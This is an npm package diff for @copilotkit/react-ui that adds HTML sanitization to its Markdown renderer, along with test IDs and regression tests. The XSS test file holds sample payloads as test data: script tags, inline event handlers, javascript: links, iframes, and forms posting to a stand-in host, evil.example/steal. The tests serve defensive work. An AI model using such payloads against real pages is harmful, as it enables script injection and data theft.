@copilotkit/react-ui 1.60.2 → 1.61.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@copilotkit/react-ui",
3
- "version": "1.60.2",
3
+ "version": "1.61.1",
4
4
  "private": false,
5
5
  "keywords": [
6
6
  "ai",
@@ -46,11 +46,12 @@
46
46
  "react-markdown": "^10.1.0",
47
47
  "react-syntax-highlighter": "^15.6.1",
48
48
  "rehype-raw": "^7.0.0",
49
+ "rehype-sanitize": "^6.0.0",
49
50
  "remark-gfm": "^4.0.1",
50
51
  "remark-math": "^6.0.0",
51
- "@copilotkit/runtime-client-gql": "1.60.2",
52
- "@copilotkit/shared": "1.60.2",
53
- "@copilotkit/react-core": "1.60.2"
52
+ "@copilotkit/react-core": "1.61.1",
53
+ "@copilotkit/shared": "1.61.1",
54
+ "@copilotkit/runtime-client-gql": "1.61.1"
54
55
  },
55
56
  "devDependencies": {
56
57
  "@types/react": "^19.1.0",
@@ -58,12 +59,13 @@
58
59
  "eslint": "^8.56.0",
59
60
  "postcss": "^8.4.20",
60
61
  "react": "^18.2.0",
62
+ "react-dom": "^19.2.0",
61
63
  "tailwindcss": "^3.3.0",
62
64
  "tsdown": "^0.20.3",
63
65
  "typescript": "^5.2.3",
64
66
  "vitest": "^3.2.4",
65
- "tsconfig": "1.4.12",
66
- "tailwind-config": "1.4.12"
67
+ "tailwind-config": "1.4.12",
68
+ "tsconfig": "1.4.12"
67
69
  },
68
70
  "peerDependencies": {
69
71
  "react": "^18 || ^19 || ^19.0.0-rc"
@@ -1,5 +1,5 @@
1
1
  import React, { useMemo, useRef, useState } from "react";
2
- import { InputProps } from "./props";
2
+ import type { InputProps } from "./props";
3
3
  import { useChatContext } from "./ChatContext";
4
4
  import AutoResizingTextarea from "./Textarea";
5
5
  import { usePushToTalk } from "../../hooks/use-push-to-talk";
@@ -120,6 +120,7 @@ export const Input = ({
120
120
  autoFocus={false}
121
121
  maxRows={MAX_NEWLINES}
122
122
  value={text}
123
+ data-testid="copilot-chat-textarea"
123
124
  onChange={(event) => setText(event.target.value)}
124
125
  onCompositionStart={() => setIsComposing(true)}
125
126
  onCompositionEnd={() => setIsComposing(false)}
@@ -161,6 +162,7 @@ export const Input = ({
161
162
  disabled={sendDisabled}
162
163
  onClick={isInProgress && !hideStopButton ? onStop : send}
163
164
  data-copilotkit-in-progress={inProgress}
165
+ data-testid="copilot-send-button"
164
166
  data-test-id={
165
167
  inProgress
166
168
  ? "copilot-chat-request-in-progress"
@@ -1,9 +1,12 @@
1
- import { FC, memo, useMemo } from "react";
2
- import ReactMarkdown, { Options, Components } from "react-markdown";
1
+ import type { FC } from "react";
2
+ import { memo, useMemo } from "react";
3
+ import type { Options, Components } from "react-markdown";
4
+ import ReactMarkdown from "react-markdown";
3
5
  import { CodeBlock } from "./CodeBlock";
4
6
  import remarkGfm from "remark-gfm";
5
7
  import remarkMath from "remark-math";
6
8
  import rehypeRaw from "rehype-raw";
9
+ import rehypeSanitize from "rehype-sanitize";
7
10
 
8
11
  const defaultComponents: Components = {
9
12
  a({ children, ...props }) {
@@ -148,7 +151,7 @@ export const Markdown = ({
148
151
  [remarkPlugins],
149
152
  );
150
153
  const mergedRehypePlugins = useMemo<Options["rehypePlugins"]>(
151
- () => [rehypeRaw, ...(rehypePlugins ?? [])],
154
+ () => [rehypeRaw, ...(rehypePlugins ?? []), rehypeSanitize],
152
155
  [rehypePlugins],
153
156
  );
154
157
  return (
@@ -0,0 +1,170 @@
1
+ import React from "react";
2
+ import { renderToStaticMarkup } from "react-dom/server";
3
+ import { Markdown } from "./Markdown";
4
+
5
+ /**
6
+ * Security regression test: the legacy Markdown renderer uses
7
+ * react-markdown + rehype-raw, which parses raw HTML embedded in
8
+ * assistant/model output. Without an HTML sanitizer, that raw HTML
9
+ * reaches the DOM verbatim — a High-severity XSS sink (CWE-79).
10
+ *
11
+ * These tests render the REAL <Markdown> component (the same default
12
+ * path as AssistantMessage) and assert that dangerous raw-HTML
13
+ * payloads are stripped from the rendered output, while legitimate
14
+ * Markdown/GFM features continue to render.
15
+ *
16
+ * The file is a `.ts` (not `.tsx`) test using React.createElement
17
+ * because the vitest config only matches the `.ts` test glob in a node
18
+ * environment. We render with react-dom/server so the assertions
19
+ * exercise the actual production rendering pipeline.
20
+ */
21
+
22
+ const h = React.createElement;
23
+
24
+ function render(
25
+ content: string,
26
+ rehypePlugins?: React.ComponentProps<typeof Markdown>["rehypePlugins"],
27
+ ): string {
28
+ return renderToStaticMarkup(
29
+ h(Markdown, rehypePlugins ? { content, rehypePlugins } : { content }),
30
+ );
31
+ }
32
+
33
+ describe("Markdown XSS sanitization", () => {
34
+ describe("dangerous raw HTML is stripped", () => {
35
+ it("strips <script> tags", () => {
36
+ const html = render('Hello <script>alert("xss")</script> world');
37
+ expect(html).not.toMatch(/<script/i);
38
+ expect(html).not.toContain('alert("xss")');
39
+ });
40
+
41
+ it("strips <style> tags (CSS exfiltration / clickjacking)", () => {
42
+ const html = render(
43
+ "Hello <style>body { background: url('//evil') }</style> world",
44
+ );
45
+ // The <style> ELEMENT must not survive — that is the active sink.
46
+ // rehype-sanitize drops the element but keeps its (now inert) text,
47
+ // which is harmless escaped text, not a stylesheet.
48
+ expect(html).not.toMatch(/<style/i);
49
+ // The CSS payload must not survive as a functional stylesheet. Because
50
+ // the <style> element is stripped, the url('//evil') declaration can
51
+ // only appear (if at all) as inert escaped text, never inside a live
52
+ // <style> block where it would fetch the resource.
53
+ expect(html).not.toMatch(/<style[^>]*>[^<]*url\(/i);
54
+ });
55
+
56
+ it("strips <base href> (base-tag hijacking)", () => {
57
+ const html = render('Hello <base href="https://evil.example/"> world');
58
+ expect(html).not.toMatch(/<base/i);
59
+ expect(html).not.toContain("evil.example");
60
+ });
61
+
62
+ it("strips <form action> and <button formaction>", () => {
63
+ const html = render(
64
+ 'Hi <form action="https://evil.example/steal">' +
65
+ '<button formaction="https://evil.example/steal">go</button>' +
66
+ "</form>",
67
+ );
68
+ expect(html).not.toMatch(/<form/i);
69
+ expect(html).not.toMatch(/formaction/i);
70
+ expect(html).not.toContain("evil.example");
71
+ });
72
+
73
+ it("strips inline event handlers (onerror/onclick)", () => {
74
+ const html = render(
75
+ 'Look <img src="x" onerror="alert(1)"> and ' +
76
+ '<a href="#" onclick="alert(2)">link</a>',
77
+ );
78
+ expect(html).not.toMatch(/onerror/i);
79
+ expect(html).not.toMatch(/onclick/i);
80
+ expect(html).not.toContain("alert(1)");
81
+ expect(html).not.toContain("alert(2)");
82
+ });
83
+
84
+ it("strips javascript: URLs from links", () => {
85
+ // eslint-disable-next-line no-script-url
86
+ const html = render("[click](javascript:alert(1))");
87
+ expect(html).not.toContain("javascript:alert(1)");
88
+ // The href must be neutralized — not merely the payload string absent.
89
+ // A partially-broken sanitizer could drop the args but keep the scheme.
90
+ expect(html).not.toMatch(/href="javascript:/i);
91
+ });
92
+
93
+ it("strips <iframe>", () => {
94
+ const html = render(
95
+ 'Hi <iframe src="https://evil.example"></iframe> bye',
96
+ );
97
+ expect(html).not.toMatch(/<iframe/i);
98
+ expect(html).not.toContain("evil.example");
99
+ });
100
+
101
+ it("sanitizes HTML injected by a consumer rehype plugin (sanitize must run last)", () => {
102
+ // A malicious/compromised consumer-supplied rehype plugin injects a
103
+ // raw <script> element directly into the HAST. rehype-sanitize must be
104
+ // the TERMINAL rehype pass so that ANY node a consumer plugin adds is
105
+ // still scrubbed. If consumer plugins run after sanitize, this payload
106
+ // survives to output — a sanitizer bypass (CWE-79).
107
+ const injectScript = () => (tree: any) => {
108
+ tree.children.push({
109
+ type: "element",
110
+ tagName: "script",
111
+ properties: {},
112
+ children: [{ type: "text", value: 'alert("pwned")' }],
113
+ });
114
+ };
115
+ const html = render("safe content", [injectScript]);
116
+ expect(html).not.toMatch(/<script/i);
117
+ expect(html).not.toContain('alert("pwned")');
118
+ });
119
+ });
120
+
121
+ describe("legitimate markdown features are preserved", () => {
122
+ it("renders headings, paragraphs, and links", () => {
123
+ const html = render(
124
+ "# Title\n\nSome **bold** [link](https://ok.example)",
125
+ );
126
+ expect(html).toMatch(/<h1[^>]*>/i);
127
+ expect(html).toContain("Title");
128
+ expect(html).toContain("https://ok.example");
129
+ expect(html).toMatch(/<strong>bold<\/strong>/i);
130
+ });
131
+
132
+ it("preserves language-* className on code blocks (syntax highlighting)", () => {
133
+ const html = render("```js\nconst x = 1;\n```");
134
+ // The CodeBlock renderer is driven by the language-js className that
135
+ // react-markdown derives from the fenced-code info string. Sanitize
136
+ // must not strip the class attribute that selects the language, and
137
+ // the highlighted code content must survive (the syntax highlighter
138
+ // tokenizes it across spans, so assert on the tokens, not a verbatim
139
+ // contiguous string).
140
+ //
141
+ // Assert language-js survives as an actual sanitized class ATTRIBUTE
142
+ // (class="...language-js...") rather than as a bare substring that a
143
+ // highlighter span or inline style could incidentally emit. This proves
144
+ // rehype-sanitize kept the class attribute on the code element.
145
+ expect(html).toMatch(/class="[^"]*\blanguage-js\b[^"]*"/);
146
+ expect(html).toMatch(/const/);
147
+ expect(html).toMatch(/x/);
148
+ expect(html).toMatch(/1/);
149
+ });
150
+
151
+ it("renders GFM tables", () => {
152
+ const md = ["| a | b |", "| - | - |", "| 1 | 2 |"].join("\n");
153
+ const html = render(md);
154
+ expect(html).toMatch(/<table/i);
155
+ expect(html).toMatch(/<td[^>]*>1<\/td>/i);
156
+ });
157
+
158
+ it("renders GFM strikethrough", () => {
159
+ const html = render("~~gone~~");
160
+ expect(html).toMatch(/<del>gone<\/del>/i);
161
+ });
162
+
163
+ it("preserves the streaming cursor marker", () => {
164
+ // The Markdown component renders a pulsing span for the ▍ cursor
165
+ // emitted during streaming. Sanitization must not remove it.
166
+ const html = render("partial answer `▍`");
167
+ expect(html).toContain("▍");
168
+ });
169
+ });
170
+ });
@@ -15,6 +15,7 @@ interface AutoResizingTextareaProps {
15
15
  onCompositionStart?: () => void;
16
16
  onCompositionEnd?: () => void;
17
17
  autoFocus?: boolean;
18
+ "data-testid"?: string;
18
19
  }
19
20
 
20
21
  const AutoResizingTextarea = forwardRef<
@@ -31,6 +32,7 @@ const AutoResizingTextarea = forwardRef<
31
32
  onCompositionStart,
32
33
  onCompositionEnd,
33
34
  autoFocus,
35
+ "data-testid": dataTestId,
34
36
  },
35
37
  ref,
36
38
  ) => {
@@ -69,6 +71,7 @@ const AutoResizingTextarea = forwardRef<
69
71
  return (
70
72
  <textarea
71
73
  ref={internalTextareaRef}
74
+ data-testid={dataTestId}
72
75
  value={value}
73
76
  onChange={onChange}
74
77
  onKeyDown={onKeyDown}
@@ -0,0 +1,47 @@
1
+ import { readFileSync } from "fs";
2
+ import { resolve } from "path";
3
+
4
+ /**
5
+ * Verifies stable `data-testid` markers exist on the CopilotChat input controls
6
+ * so e2e tests (e.g. Playwright) can deterministically locate the textarea and
7
+ * send button on the default `<CopilotChat>` surface. See GitHub issue #4215.
8
+ *
9
+ * The selector names mirror the V2 components in
10
+ * `@copilotkit/react-core` (`copilot-chat-textarea`, `copilot-send-button`) so a
11
+ * test recipe written against V2 carries over to the default surface unchanged.
12
+ *
13
+ * This runs in the package's node test environment (no DOM), so it asserts the
14
+ * wiring at the source level. Crucially it checks BOTH that `Input.tsx` passes
15
+ * the testid AND that `Textarea.tsx` forwards it onto the rendered `<textarea>`:
16
+ * `AutoResizingTextarea` destructures a fixed prop set with no `{...rest}`
17
+ * spread, so a testid passed from `Input.tsx` is silently dropped unless the
18
+ * inner component explicitly declares and applies it.
19
+ */
20
+
21
+ const inputPath = resolve(__dirname, "Input.tsx");
22
+ const textareaPath = resolve(__dirname, "Textarea.tsx");
23
+
24
+ const inputSrc = readFileSync(inputPath, "utf-8");
25
+ const textareaSrc = readFileSync(textareaPath, "utf-8");
26
+
27
+ describe("CopilotChat input stable testids", () => {
28
+ it("Input passes the copilot-chat-textarea testid to the textarea", () => {
29
+ expect(inputSrc).toMatch(/data-testid="copilot-chat-textarea"/);
30
+ });
31
+
32
+ it("Input puts the copilot-send-button testid on the send control", () => {
33
+ expect(inputSrc).toMatch(/data-testid="copilot-send-button"/);
34
+ });
35
+
36
+ it("Input preserves the legacy data-test-id for back-compat", () => {
37
+ expect(inputSrc).toMatch(/data-test-id=/);
38
+ expect(inputSrc).toMatch(/copilot-chat-ready/);
39
+ });
40
+
41
+ it("Textarea declares and forwards data-testid onto the inner textarea", () => {
42
+ // Declared on the props interface...
43
+ expect(textareaSrc).toMatch(/"data-testid"\?: string/);
44
+ // ...and actually applied to the rendered <textarea> (the dropped-prop guard).
45
+ expect(textareaSrc).toMatch(/data-testid=\{dataTestId\}/);
46
+ });
47
+ });